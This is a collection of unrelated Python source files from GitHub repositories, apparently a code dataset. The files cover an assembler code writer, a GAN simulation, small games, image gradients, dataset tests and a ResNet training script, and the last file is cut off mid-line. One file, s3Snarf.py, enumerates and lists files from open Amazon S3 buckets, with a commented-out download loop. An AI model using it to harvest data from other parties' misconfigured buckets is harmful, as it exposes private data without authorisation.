'M=-M'\n elif command == 'not':\n command_unary = 'M=!M'\n self._write_many(['@SP', 'A=M-1', command_unary])\n\n def _compare(self, command):\n label1 = self._if_label()\n label2 = self._if_label()\n command_compare = ''\n if command == 'eq':\n command_compare = 'JEQ'\n elif command == 'gt':\n command_compare = 'JGT'\n elif command == 'lt':\n command_compare = 'JLT'\n self._write_many(['@SP', 'M=M-1', 'A=M', 'D=M', '@SP', 'M=M-1', 'A=M',\n 'D=M-D', '@%s' % label1, 'D;%s' % command_compare,\n 'D=0', '@%s' % label2, '0;JMP', '(%s)' % label1,\n 'D=-1', '(%s)' % label2, '@SP', 'A=M', 'M=D', '@SP',\n 'M=M+1'])\n\n def _write_call_value(self, value):\n self._write_many([value, 'D=M', '@SP', 'A=M', 'M=D', '@SP', 'M=M+1'])\n\n def _write_one(self, code):\n self._asm_text += '%s\\n' % code\n\n def _write_many(self, codes):\n for code in codes:\n self._write_one(code)\n\n def _if_label(self):\n self._if_label_count += 1\n return 'IF_LABEL_%d' % self._if_label_count\n\n def _return_label(self):\n self._return_label_count += 1\n return 'RETURN_LABEL_%d' % self._return_label_count\n\n def _function_label(self, label):\n if self._function_label_name == '':\n return '%s' % label\n else:\n return '%s$%s' % (self._function_label_name, label)\n","repo_name":"aronkst/nand2tetris","sub_path":"08/code_writer.py","file_name":"code_writer.py","file_ext":"py","file_size_in_byte":7239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12852924034","text":"import numpy as np\nfrom utils_log import MetricSaver\n\ndata = 1.\ndelta_t = 0.01\n\n\nclass GAN_simualte(object):\n def __init__(self, gantype, controller_d, damping):\n self.type = gantype\n self.controller_d = controller_d\n self.damping = damping\n self.d = 0.\n self.g = 0.\n\n def d_step(self):\n error = data - self.g\n error = self.controller_d(error)\n self.d += error * delta_t - self.damping * self.d\n\n def g_step(self):\n self.g += self.d * delta_t\n\n\nclass PID_controller(object):\n def __init__(self, p, i, d):\n self.p = p\n self.i = i\n self.d = d\n\n self.i_buffer = 0.\n self.d_buffer = 0.\n\n def __call__(self, error):\n p_signal = error\n\n self.i_buffer += error * delta_t\n i_signal = self.i_buffer\n\n d_signal = (error - self.d_buffer) / delta_t\n self.d_buffer = error\n\n return self.p * p_signal + self.i * i_signal + self.d * d_signal\n\n\np, i, d = 1, 0, 0\ndamping = 2.\nsaver = MetricSaver(\"Generator_{}_{}_{}_{}_g\".format(p, i, d, damping),\n \"./delta_gan/\",\n save_on_update=False)\nsaver1 = MetricSaver(\"Generator_{}_{}_{}_{}_d\".format(p, i, d, damping),\n \"./delta_gan/\",\n save_on_update=False)\ncontroller = PID_controller(p, i, d)\ngan = GAN_simualte('gan', controller, damping)\n\nfor i in range(200000):\n gan.d_step()\n gan.g_step()\n\n saver.update(i, gan.g, save=False)\n saver1.update(i, gan.d, save=False)\nsaver.save()\nsaver1.save()\n","repo_name":"taufikxu/GAN_PID","sub_path":"simulate_delta_gan.py","file_name":"simulate_delta_gan.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"72"} +{"seq_id":"24947998025","text":"def anagram_check(A,B):\n ''' expects two strings'''\n A = ''.join(sorted(A))\n B = ''.join(sorted(B))\n return 'Anagrams' if A == B else 'Not Anagrams'\n\nword1 = input().upper()\nword2 = input().upper()\n\nprint(anagram_check(word1, word2))","repo_name":"s-cork/BIO","sub_path":"2006/Q1.py","file_name":"Q1.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18899005789","text":"import pygame\r\nimport random\r\nimport math\r\n\r\n# Initialize Pygame\r\npygame.init()\r\npygame.font.init()\r\n\r\n# Game's Screen\r\nwidth = 800\r\nheight = 600\r\nscreen = pygame.display.set_mode((width, height))\r\n\r\n# Background\r\nbackground = pygame.image.load(\"resources/images/background.jpg\")\r\n\r\n# Sound\r\nbackground_sound = pygame.mixer.music.load(\r\n \"resources/audios/background_music.mp3\")\r\npygame.mixer.music.play(-1)\r\n\r\n# Icon's Game\r\nicon = pygame.image.load(\"resources/images/icon.png\")\r\npygame.display.set_icon(icon)\r\n\r\n# Game's Name\r\npygame.display.set_caption(\"Space Shooter\")\r\n\r\n# Explosion Sound\r\nexplosion_sound = pygame.mixer.Sound(\"resources/audios/explosion.wav\")\r\n\r\n# Player Variables\r\nplayer_img = pygame.image.load(\"resources/images/player.png\")\r\nplayerX = 350\r\nplayerY = 480\r\nplayer_positionX = 0\r\n\r\n# Bullet Variables\r\nbullet_img = pygame.image.load(\"resources/images/bullet.png\")\r\nbulletX = 0\r\nbulletY = 480\r\nbullet_state = 'loaded'\r\nbullet_positionY = 4\r\n\r\n# Enemy Variables\r\nenemy_img = []\r\nenemyX = []\r\nenemyY = []\r\nenemy_positionX = []\r\nenemies_number = 4\r\n\r\nfor i in range(enemies_number):\r\n\tenemy_img.append(pygame.image.load(\"resources/images/enemy.png\"))\r\n\tenemyX.append(random.randint(0, 736))\r\n\tenemyY.append(random.randint(0, 150))\r\n\tenemy_positionX.append(2)\r\n\r\n# Player Function\r\ndef player(playerX, playerY):\r\n\tscreen.blit(player_img, (playerX, playerY))\r\n\r\n# Shot Function\r\ndef shot(bulletX, bulletY):\r\n\tglobal bullet_state\r\n\tbullet_state = \"fired\"\r\n\tscreen.blit(bullet_img, (bulletX, bulletY))\r\n\r\n# Enemy Function\r\ndef enemy(enemyX, enemyY, i):\r\n\tscreen.blit(enemy_img[i], (enemyX, enemyY))\r\n\r\n# Collison Fuction\r\ndef isCollided(bulletX, bulletY, enemyX, enemyY):\r\n\tdistance = math.sqrt(math.pow(bulletX-enemyX, 2)+math.pow(bulletY-enemyY, 2))\r\n\r\n\tif distance <= 30:\r\n\t\treturn True\r\n\telse:\r\n\t\treturn False\r\n\r\n# Display Score\r\nscore = 0\r\nfont = pygame.font.Font(\"freesansbold.ttf\",32)\r\ndef showPunctuation():\r\n\tscore_value = font.render(\"SCORE: \" + str(score), True, \"grey\")\r\n\tscreen.blit(score_value, (10, 10))\r\n\r\n# Execution loop\r\nrunning = True\r\nwhile running:\r\n\tfor event in pygame.event.get():\r\n\t\tif event.type == pygame.QUIT:\r\n\t\t\trunning = False\r\n\r\n\t\tif event.type == pygame.KEYDOWN:\r\n\t\t\tif event.key == pygame.K_ESCAPE:\r\n\t\t\t\trunning = False\r\n\r\n\t\t\tif event.key == pygame.K_LEFT:\r\n\t\t\t\tplayer_positionX = -2\r\n\r\n\t\t\tif event.key == pygame.K_RIGHT:\r\n\t\t\t\tplayer_positionX = 2\r\n\r\n\t\t\tif event.key == pygame.K_SPACE:\r\n\t\t\t\tif bullet_state == \"loaded\":\r\n\t\t\t\t\tbulletX = playerX\r\n\t\t\t\t\tshot(bulletX, bulletY)\r\n\r\n\t\tif event.type == pygame.KEYUP:\r\n\t\t\tif event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\r\n\t\t\t\tplayer_positionX = 0\r\n\r\n\tscreen.blit(background, (0, 0))\r\n\tplayerX += player_positionX\r\n \t\r\n\t#Boundaries\r\n\r\n\tif playerX < 0:\r\n\t\tplayerX = 0\r\n\telif playerX > 709:\r\n\t\tplayerX = 709\r\n\r\n\tif bulletY <= 0:\r\n\t\tbulletY = 480\r\n\t\tbullet_state = \"loaded\"\r\n\r\n\tif bullet_state == \"fired\":\r\n\t\tshot(bulletX, bulletY)\r\n\t\tbulletY -= bullet_positionY\r\n\r\n\tfor i in range(enemies_number):\r\n\t\tenemyX[i] += enemy_positionX[i]\r\n\r\n\t\tif enemyX[i] < 0:\r\n\t\t\tenemy_positionX[i] = 1.5\r\n\t\t\tenemyY[i] += random.randint(0, 68)\r\n\t\telif enemyX[i] > 736:\r\n\t\t\tenemy_positionX[i] = -1.5\r\n\t\t\tenemyY[i] += random.randint(0, 68)\r\n\t\t\r\n\t\tif enemyY[i] > 430:\r\n\t\t\tscreen.blit(background, (0, 0))\r\n\t\t\tfont2 = pygame.font.Font(\"freesansbold.ttf\",60)\r\n\t\t\tgame_over = font2.render(\"Game Over \", True, \"white\")\r\n\t\t\tscreen.blit(game_over, (220, 250))\r\n\t\t\tbreak\r\n\r\n\t\tif isCollided(bulletX,bulletY,enemyX[i],enemyY[i]):\r\n\t\t\texplosion_sound.play()\r\n\t\t\tbulletY=480\r\n\t\t\tbullet_state ='loaded'\r\n\t\t\tscore+=10\r\n\r\n\t\t\tenemyX[i] = random.randint(0,736)\r\n\t\t\tenemyY[i] = random.randint(0,150)\r\n\r\n\r\n\t\tenemy(enemyX[i],enemyY[i],i)\r\n\r\n\tplayer(playerX, playerY)\r\n\tshowPunctuation()\r\n\tpygame.display.update()\r\n\r\npygame.quit()\r\n","repo_name":"lorenafajardo/Space-Shooter-Game","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24355818642","text":"import cv2 as cv\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom matplotlib.colors import Normalize\n\n\ndef gradient(raw_img: np.ndarray, operator: str = 'sobel'):\n row, col = raw_img.shape\n i = j = 0\n gradient = np.zeros((row, col))\n\n def gamma_trans(img, gamma):\n gamma_table = [np.power(x / 255.0, gamma) * 255.0 for x in range(256)]\n gamma_table = np.round(np.array(gamma_table)).astype(int)\n return cv.LUT(img, gamma_table)\n\n if operator == 'sobel':\n filter = (np.array([[-1, -2, -1],\n [0, 0, 0],\n [1, 2, 1]]),\n np.array([[-1, 0, 1],\n [-2, 0, 0],\n [1, 2, 1]]))\n\n temp_img = np.pad(raw_img, 1)\n while i < row:\n while j < col:\n local_img = temp_img[i:i + 3, j:j + 3]\n gradient[i][j] = abs((local_img * filter[0]).sum()) + abs((local_img * filter[1]).sum())\n j += 1\n j = 0\n i += 1\n elif operator == 'roberts':\n filter = (np.array([[-1, 0],\n [0, 1]]),\n np.array([[0, -1],\n [1, 0]]))\n\n temp_img = np.pad(raw_img, [0, 1])\n while i < row:\n while j < col:\n local_img = temp_img[i:i + 2, j:j + 2]\n gradient[i][j] = abs((local_img * filter[0]).sum()) + \\\n abs((local_img * filter[1]).sum())\n j += 1\n i += 1\n j = 0\n raw_mean = raw_img.mean()\n # gradient = gradient * (raw_mean / gradient.mean())\n gradient = gradient * (255. / gradient.max())\n out_img = raw_img + gradient\n # out_img = out_img.astype(np.uint8)\n\n if operator == 'sobel':\n out_img = out_img * (255. / out_img.max())\n out_img = out_img * (raw_mean / out_img.mean())\n # out_img = gamma_trans(out_img.astype(np.uint8), 0.75 )\n if operator == 'roberts':\n out_img = np.clip(out_img, a_min=0, a_max=255)\n # out_img = gamma_trans(out_img, 0.4)\n\n norm = Normalize(vmin=0, vmax=255)\n plt.figure(figsize=(6.4 * 3, 6.4))\n plt.subplot(131)\n plt.title('Raw image')\n plt.imshow(raw_img, cmap='gray', norm=norm)\n plt.subplot(132)\n plt.title('Enhanced image')\n plt.imshow(out_img, cmap='gray', norm=norm)\n plt.subplot(133)\n plt.title(operator + ' gradient')\n plt.imshow(gradient, cmap='gray', norm=norm)\n plt.show()\n return out_img.astype(int), gradient\n\n\n# %%\nraw_img_1 = cv.imread('Q4_1.tif', cv.IMREAD_GRAYSCALE)\nout_img_1, gradient_1 = gradient(raw_img_1, operator='sobel')\nout_img_2, gradient_2 = gradient(raw_img_1, operator='roberts')\n\n# %%\nraw_img_2 = cv.imread('Q4_2.tif', cv.IMREAD_GRAYSCALE)\nout_img_3, gradient_3 = gradient(raw_img_2, operator='sobel')\nout_img_4, gradient_4 = gradient(raw_img_2, operator='roberts')\n\n# %%\nimg = cv.fastNlMeansDenoising(raw_img_2, h=10, templateWindowSize=7, searchWindowSize=21)\nout_img_5, gradient_5 = gradient(img, operator='sobel')\nout_img_6, gradient_6 = gradient(img, operator='roberts')\n","repo_name":"sghuang19/dip-lab","sub_path":"lab4/gradient.py","file_name":"gradient.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"25248132178","text":"def factorial(n):\n s = 1\n for i in range(1,n+1):\n s = s*i\n return s\n \ndef sumchar(n):\n s = str(n)\n l = []\n for char in s:\n l.append(int(char))\n return sum(l)\n\nn = 100\nprint(n)\nnf = factorial(n)\nprint(nf)\nns = sumchar(nf)\nprint(ns)\n","repo_name":"ietsy/project_euler","sub_path":"Done/project20.py","file_name":"project20.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28586325155","text":"#!/usr/bin/env python3\n# snarfs data from open s3 buckets\nimport xml.etree.ElementTree as ET\nimport requests\nimport sys\n\nurl = sys.argv[1]\n\nr = requests.get(url) # get the s3 list if available\nroot = ET.fromstring(r.text) # set the root element\n\n# this doesn't work, not sure why since the\n# ListBucketResult has this attribute...\n# xmlns = root.attrib['xmlns']\n\n# since the above doesn't work, but s3 xmlns is static\n# we can just hardcode it here, but that sucks\nxmlns = '{http://s3.amazonaws.com/doc/2006-03-01/}'\nkeys = xmlns + 'Key'\n\nfor key in root.iter(keys):\n theFile = url + key.text\n print(theFile)\n\n# r = requests.get(theFile, stream=True)\n# if r.status_code == 200:\n# with open(key.text, 'wb') as f:\n# for chunk in r.iter_content():\n# f.write(chunk)\n","repo_name":"rossja/dotfiles","sub_path":"public/bin/s3Snarf.py","file_name":"s3Snarf.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42822184442","text":"from collections import defaultdict\nimport gzip\nimport json\nimport unittest\n\nfrom swords import Label, LexSubDataset, LexSubGenerationTask, LexSubRankingTask, LexSubNoDuplicatesResult\nfrom swords.datasets import *\nfrom swords.eval import get_result, evaluate_mccarthy\nfrom swords.methods.semeval07 import SemEval07HITOOT\n\nclass TestDatasets(unittest.TestCase):\n def test_semeval07(self):\n semeval07_trial = semeval07('trial')\n self.assertEqual(semeval07_trial.stats(include_uninformative_labels=True), (299, 300, 6540, 7125))\n self.assertEqual(semeval07_trial.id(), DATASETS['semeval07_trial']['id'])\n semeval07_test = semeval07('test')\n self.assertEqual(semeval07_test.stats(include_uninformative_labels=True), (1710, 1710, 35191, 38881))\n self.assertEqual(semeval07_test.id(), DATASETS['semeval07_test']['id'])\n\n # Test table 4\n # TODO: Test rest of table 1/4\n r = LexSubNoDuplicatesResult.from_dict(get_result(semeval07_test, SemEval07HITOOT).as_dict())\n metrics = evaluate_mccarthy(semeval07_test, r, mode='oot')\n self.assertEqual(metrics['oot_p'], 33.92)\n self.assertEqual(metrics['oot_r'], 33.92)\n self.assertEqual(metrics['oot_mode_p'], 46.88)\n self.assertEqual(metrics['oot_mode_r'], 46.88)\n\n # Test equivalence with legacy AI Thesaurus version\n with gzip.open(ASSETS['test_semeval07_test_ait']['fp'], 'r') as f:\n ait = json.load(f)\n ait_ref = LexSubDataset.from_ait(ait)\n self.assertEqual(\n LexSubGenerationTask.from_dict(semeval07_test.as_dict()).id(),\n LexSubGenerationTask.from_dict(ait_ref.as_dict()).id())\n self.assertNotEqual(\n LexSubRankingTask.from_dict(semeval07_test.as_dict()).id(),\n LexSubRankingTask.from_dict(ait_ref.as_dict()).id())\n self.assertNotEqual(semeval07_test.id(), ait_ref.id())\n semeval07_test = semeval07('test', include_negatives=False)\n self.assertEqual(semeval07_test.stats(include_uninformative_labels=True), (1710, 1710, 6873, 10563))\n self.assertEqual(ait_ref.stats(include_uninformative_labels=True), (1710, 1710, 6873, 10563))\n self.assertEqual(\n LexSubGenerationTask.from_dict(semeval07_test.as_dict()).id(),\n LexSubGenerationTask.from_dict(ait_ref.as_dict()).id())\n self.assertEqual(\n LexSubRankingTask.from_dict(semeval07_test.as_dict()).id(),\n LexSubRankingTask.from_dict(ait_ref.as_dict()).id())\n self.assertEqual(semeval07_test.id(), ait_ref.id())\n\n def test_twsi(self):\n twsi_all = twsi('all')\n self.assertEqual(twsi_all.stats(include_uninformative_labels=True), (25007, 25030, 1784746, 1819762))\n self.assertEqual(twsi_all.id(), DATASETS['twsi_all']['id'])\n\n def test_coinco(self):\n context_focus = ('Nathans_Bylichka.txt', 's-r845')\n\n coinco_dev = coinco('dev')\n self.assertEqual(coinco_dev.id(), DATASETS['coinco_dev']['id'])\n self.assertEqual(coinco_dev.stats(include_uninformative_labels=True), (1577, 10027, 462885, 494018))\n coinco_test = coinco('test')\n self.assertEqual(coinco_test.id(), DATASETS['coinco_test']['id'])\n self.assertEqual(coinco_test.stats(include_uninformative_labels=True), (896, 5388, 234338, 257906))\n\n # Parse original XML to get reference numbers\n with gzip.open(ASSETS['coinco_patched']['fp'], 'rt') as f:\n xml = f.read()\n expected_num_contexts = xml.count('')\n expected_num_substitutes = xml.count('', xml)])\n\n # Parse with contexts from XML\n coinco_dev = coinco('dev', include_surrounding_context=True, repair_context=False, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_dev.id(), 'd:6ad1adf891f0226de02310bc75a5f9d8f04d4504')\n coinco_test = coinco('test', include_surrounding_context=True, repair_context=False, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_test.id(), 'd:c6d3b5ba88d3db7818c3e1418d5c4eaaaca82b73')\n s1r0 = None\n for cid in coinco_dev.all_context_ids():\n context = coinco_dev.get_context(cid)\n if tuple(context['extra'][-1]['masc'][k] for k in ['document_fn', 'region_id']) == context_focus:\n s1r0 = context['context']\n break\n\n # Ensure number of contexts/targets/substitutes in dataset equals that of source file\n # NOTE: There is precisely *1* exact duplicate context in CoInCo (wsj_0006.txt:s-r0/s-r1)\n self.assertEqual(sum([len(d.all_context_ids()) for d in [coinco_dev, coinco_test]]), expected_num_contexts - 1)\n self.assertEqual(sum([len(d.all_target_ids()) for d in [coinco_dev, coinco_test]]), expected_num_targets)\n # NOTE: There is precisely *1* case-insensitive duplicate substitute in CoInCO (wsj_2465.txt:s-r18 \"TV\" vs \"tv\")\n self.assertEqual(sum([len(d.all_substitute_ids()) for d in [coinco_dev, coinco_test]]), expected_num_substitutes - 1)\n\n # Test equivalence with legacy AI Thesaurus version\n with gzip.open(ASSETS['test_coinco_test_ait']['fp'], 'r') as f:\n ait_ref = LexSubDataset.from_ait(json.load(f))\n for cid in coinco_test.all_context_ids():\n self.assertTrue(ait_ref.has_context(cid))\n for tid in coinco_test.all_target_ids():\n self.assertTrue(ait_ref.has_target(tid))\n for sid in coinco_test.all_substitute_ids():\n self.assertTrue(ait_ref.has_substitute(sid))\n\n # Ensure number of labels in dataset equals that of source file\n num_labels = 0\n for d in [coinco_dev, coinco_test]:\n for sid in d.all_substitute_ids():\n num_labels += len([l for l in d.get_substitute_labels(sid) if l == Label.TRUE_IMPLICIT])\n self.assertEqual(num_labels, expected_num_labels)\n\n # Parse with unrepaired target sentence only\n coinco_dev = coinco('dev', include_surrounding_context=False, repair_context=False, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_dev.id(), 'd:f1a241572eb11cff385fa50899d8cb080a0c865b')\n coinco_test = coinco('test', include_surrounding_context=False, repair_context=False, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_test.id(), 'd:05b72ec17d54f49103eb1ae08c7ab9453ada6714')\n s0r0 = None\n for cid in coinco_dev.all_context_ids():\n context = coinco_dev.get_context(cid)\n if tuple(context['extra'][-1]['masc'][k] for k in ['document_fn', 'region_id']) == context_focus:\n s0r0 = context['context']\n break\n\n # Parse with repaired target sentence only\n coinco_dev = coinco('dev', include_surrounding_context=False, repair_context=True, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_dev.id(), 'd:61b0410ef2d6c72ccdf38a073975cff2627b838a')\n coinco_test = coinco('test', include_surrounding_context=False, repair_context=True, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_test.id(), 'd:efeba6d05e31f6bf90d5b29fee3b57499954918e')\n s0r1 = None\n for cid in coinco_dev.all_context_ids():\n context = coinco_dev.get_context(cid)\n if tuple(context['extra'][-1]['masc'][k] for k in ['document_fn', 'region_id']) == context_focus:\n s0r1 = context['context']\n break\n\n # Parse with unrepaired surrounding context\n # NOTE: Already done above\n\n # Parse with repaired surrounding context\n coinco_dev = coinco('dev', include_surrounding_context=True, repair_context=True, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_dev.stats(include_uninformative_labels=True), (1422, 9603, 65362, 98950))\n self.assertEqual(coinco_dev.id(), 'd:27b473180bf00dae6f850affd8da71f2e22b86e3')\n coinco_test = coinco('test', include_surrounding_context=True, repair_context=True, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_test.stats(include_uninformative_labels=True), (843, 5290, 44257, 68496))\n self.assertEqual(coinco_test.id(), 'd:094121b91f815c621d38e393f3a393bc82efd6b9')\n s1r1 = None\n for cid in coinco_dev.all_context_ids():\n context = coinco_dev.get_context(cid)\n if tuple(context['extra'][-1]['masc'][k] for k in ['document_fn', 'region_id']) == context_focus:\n s1r1 = context['context']\n break\n\n self.assertEqual(s0r0, \"\"\"‘What did you say?’,\"\"\")\n self.assertEqual(s0r1, \"\"\"‘What did you say?’\"\"\")\n self.assertEqual(s1r0, \"\"\"“Don’t name her ‘What did you say?’, okay? ‘What did you say?’, The next thing that comes out of your mouth is probably what she’ll respond to until we figure out how to put her back.”\"\"\")\n self.assertEqual(s1r1, \"\"\"I opened my mouth to ask for an explanation, but Nepthys stopped me. “Don’t name her ‘What did you say?’, okay? The next thing that comes out of your mouth is probably what she’ll respond to until we figure out how to put her back.”\"\"\")\n\n def test_swords(self):\n swords_dev = get_dataset('swords-v0.6_dev', ignore_cache=True)\n self.assertEqual(swords_dev.stats(include_uninformative_labels=True), (417, 417, 24095, 72285))\n num_outliers = sum([int(len(swords_dev.get_substitute_labels(sid)) != 3) for sid in swords_dev.all_substitute_ids()])\n self.assertEqual(num_outliers, 0)\n\n swords_test = get_dataset('swords-v0.6_test', ignore_cache=True)\n self.assertEqual(swords_test.stats(include_uninformative_labels=True), (833, 833, 47701, 143103))\n num_outliers = sum([int(len(swords_test.get_substitute_labels(sid)) != 3) for sid in swords_test.all_substitute_ids()])\n self.assertEqual(num_outliers, 0)\n\n swords_test = get_dataset('swords-v0.5_test', ignore_cache=True)\n self.assertEqual(swords_test.stats(include_uninformative_labels=True), (833, 833, 47718, 145344))\n num_over = sum([int(len(swords_test.get_substitute_labels(sid)) > 3) for sid in swords_test.all_substitute_ids()])\n num_under = sum([int(len(swords_test.get_substitute_labels(sid)) < 3) for sid in swords_test.all_substitute_ids()])\n self.assertEqual(num_over, 2164)\n self.assertEqual(num_under, 17)\n\n swords_dev = get_dataset('swords-v0.5_dev', ignore_cache=True)\n self.assertEqual(swords_dev.stats(include_uninformative_labels=True), (417, 417, 24095, 72648))\n num_outliers = sum([int(len(swords_dev.get_substitute_labels(sid)) != 3) for sid in swords_dev.all_substitute_ids()])\n self.assertEqual(num_outliers, 363)\n\n swords_test = get_dataset('swords-v0.4_test', ignore_cache=True)\n self.assertEqual(swords_test.stats(include_uninformative_labels=True), (832, 832, 47652, 142955))\n num_outliers = sum([int(len(swords_test.get_substitute_labels(sid)) != 3) for sid in swords_test.all_substitute_ids()])\n self.assertEqual(num_outliers, 13)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"p-lambda/swords","sub_path":"swords/datasets_test.py","file_name":"datasets_test.py","file_ext":"py","file_size_in_byte":10750,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"72"} +{"seq_id":"72966889192","text":"print(\"##########################################################\", flush=True)\n\n# 0. Import Libraries and Mount Drive\nprint(\"0. Import Libraries and Mount Drive\", flush=True)\nimport cv2,os,sys\nfrom skimage import io\nfrom PIL import Image\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom tqdm import tqdm_notebook as tqdm\nfrom sklearn.model_selection import KFold\nfrom sklearn.metrics import roc_auc_score,precision_score,accuracy_score,roc_curve\nimport torch\nfrom torch.utils.data import random_split,Dataset,DataLoader,SubsetRandomSampler\nfrom torch.utils.data import Dataset,TensorDataset,random_split,SubsetRandomSampler\nfrom torch.utils.data.dataset import Subset\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision import transforms\nimport torchvision.models as models\nif torch.cuda.is_available():\n device = torch.device(\"cuda\")\n print(\"torch.device(cuda)\", flush=True)\n print(\"torch.cuda.device_count(): \", torch.cuda.device_count(), flush=True)\n for i in range(torch.cuda.device_count()):\n print(torch.cuda.get_device_name(), flush=True)\n print(\"torch.cuda.current_device()\", torch.cuda.current_device(), flush=True)\nelse:\n device = torch.device(\"cpu\")\n print(\"torch.device(cpu)\", flush=True)\nprint(\"done\", flush=True)\nprint(\"##########################################################\", flush=True)\nhomepath = sys.argv[1]\ndatatype = sys.argv[2]\nrestype = sys.argv[3]\nprint(\"This is \"+restype, flush=True)\nprint(datatype, flush=True)\n# 1. Load and Process Images\nprint(\"1. Load and Process Images\", flush=True)\nX_Ctrl = np.load(homepath+\"/Datasets/Ctrl_\"+datatype+\".npy\",allow_pickle=True)\nX_VPA = np.load(homepath+\"/Datasets/VPA_\"+datatype+\".npy\",allow_pickle=True)\ny_Ctrl = torch.zeros(len(X_Ctrl), dtype=torch.int64)\ny_VPA = torch.ones(len(X_VPA), dtype=torch.int64)\nX = np.concatenate((X_Ctrl, X_VPA), axis = 0)\ny = torch.cat((y_Ctrl, y_VPA), 0)\nclass cell_dataset(Dataset):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.transform = transforms.ToTensor()\n def __len__(self):\n return len(self.x)\n def __getitem__(self, idx):\n return self.transform(self.x[idx]).to(torch.float), F.one_hot(self.y[idx],num_classes=2).to(torch.float)\ndataset = cell_dataset(X, y)\nprint(\"done\", flush=True)\nprint(\"##########################################################\", flush=True)\n\nprint(\"3. Develop model\", flush=True)\nif restype==\"Resnet10_noavg\":\n class ResNet(nn.Module):\n def __init__(self):\n super(ResNet,self).__init__()\n self.resnet = models.resnet18(weights=True)\n self.resnet.layer3 = nn.Sequential()\n self.resnet.layer4 = nn.Sequential()\n self.resnet.avgpool = nn.Sequential()\n self.resnet.fc = nn.Linear(128*75*75, 2) \n def forward(self, x):\n x = self.resnet(x)\n x = nn.Softmax(dim=1)(x)\n return x\nelif restype==\"Resnet10\":\n class ResNet(nn.Module):\n def __init__(self):\n super(ResNet,self).__init__()\n self.resnet = models.resnet18(weights=True)\n self.resnet.layer3 = nn.Sequential()\n self.resnet.layer4 = nn.Sequential()\n self.resnet.fc = nn.Linear(128, 2) \n def forward(self, x):\n x = self.resnet(x)\n x = nn.Softmax(dim=1)(x)\n return x\nelif restype==\"Resnet18\":\n class ResNet(nn.Module):\n def __init__(self):\n super(ResNet,self).__init__()\n self.resnet = models.resnet18(weights=True)\n self.resnet.fc = nn.Linear(512, 2) \n def forward(self, x):\n x = self.resnet(x)\n x = nn.Softmax(dim=1)(x)\n return x \nprint(\"done\", flush=True)\nprint(\"##########################################################\", flush=True)\n\nprint(\"4. Define Training and Validation\", flush=True)\ndef train(model,device,dataloader_train,loss_function,optimizer):\n losses_train = []\n n_train = 0\n acc_train = 0\n optimizer.step()\n model.train()\n for x, y in dataloader_train:\n n_train += y.size()[0]\n model.zero_grad() # 勾配の初期化\n x = x.to(device) # テンソルをGPUに移動\n y = y.to(device)\n output = model.forward(x) # 順伝播\n loss = loss_function(output, y) # 誤差(クロスエントロピー誤差関数)の計算\n loss.backward() # 誤差の逆伝播\n optimizer.step() # パラメータの更新\n acc_train += (output.argmax(1) == y[:,1]).float().sum().item()\n losses_train.append(loss.tolist())\n return np.mean(losses_train), (acc_train/n_train) \ndef valid(model,device,dataloader_valid,loss_function):\n losses_valid = []\n n_val = 0\n acc_val = 0\n model.eval()\n for x, y in dataloader_valid:\n n_val += y.size()[0]\n x = x.to(device) # テンソルをGPUに移動\n y = y.to(device)\n output = model.forward(x) # 順伝播\n loss = loss_function(output, y) # 誤差(クロスエントロピー誤差関数)の計算\n acc_val += (output.argmax(1) == y[:,1]).float().sum().item()\n losses_valid.append(loss.tolist())\n return np.mean(losses_valid), (acc_val/n_val)\nprint(\"done\", flush=True)\nprint(\"##########################################################\", flush=True)\n\nprint(\"5. Train by KFold of Cross Validation\", flush=True)\nn_splits=5\nsplits=KFold(n_splits,shuffle=True,random_state=42)\nbatch_size = 128\nn_epochs = 500\nhistory = {'loss_train': [], 'loss_valid': [],'acc_train':[],'acc_valid':[]}\nfor fold, (train_idx, val_idx) in enumerate(splits.split(np.arange(len(dataset)))):\n print('Fold {}'.format(fold + 1), flush=True)\n train_sampler = SubsetRandomSampler(train_idx)\n valid_sampler = SubsetRandomSampler(val_idx)\n dataloader_train = DataLoader(dataset, batch_size=batch_size, sampler=train_sampler)\n dataloader_valid = DataLoader(dataset, batch_size=batch_size, sampler=valid_sampler)\n model = ResNet().to(device)\n ngpu = 4\n if (device.type == 'cuda') and (ngpu > 1):\n model = nn.DataParallel(model, list(range(ngpu)))\n model.avgpool = nn.AdaptiveAvgPool2d(1)\n loss_function = nn.BCELoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=0.00001)\n scheduler = torch.optim.lr_scheduler.ExponentialLR(optimizer, gamma=0.99)\n for epoch in range(n_epochs):\n loss_train, acc_train = train(model,device,dataloader_train,loss_function,optimizer)\n loss_valid, acc_valid = valid(model,device,dataloader_valid,loss_function)\n scheduler.step()\n print('EPOCH: {}, Train [Loss: {:.3f}, Accuracy: {:.3f}], Valid [Loss: {:.3f}, Accuracy: {:.3f}]'\n .format(epoch, loss_train, 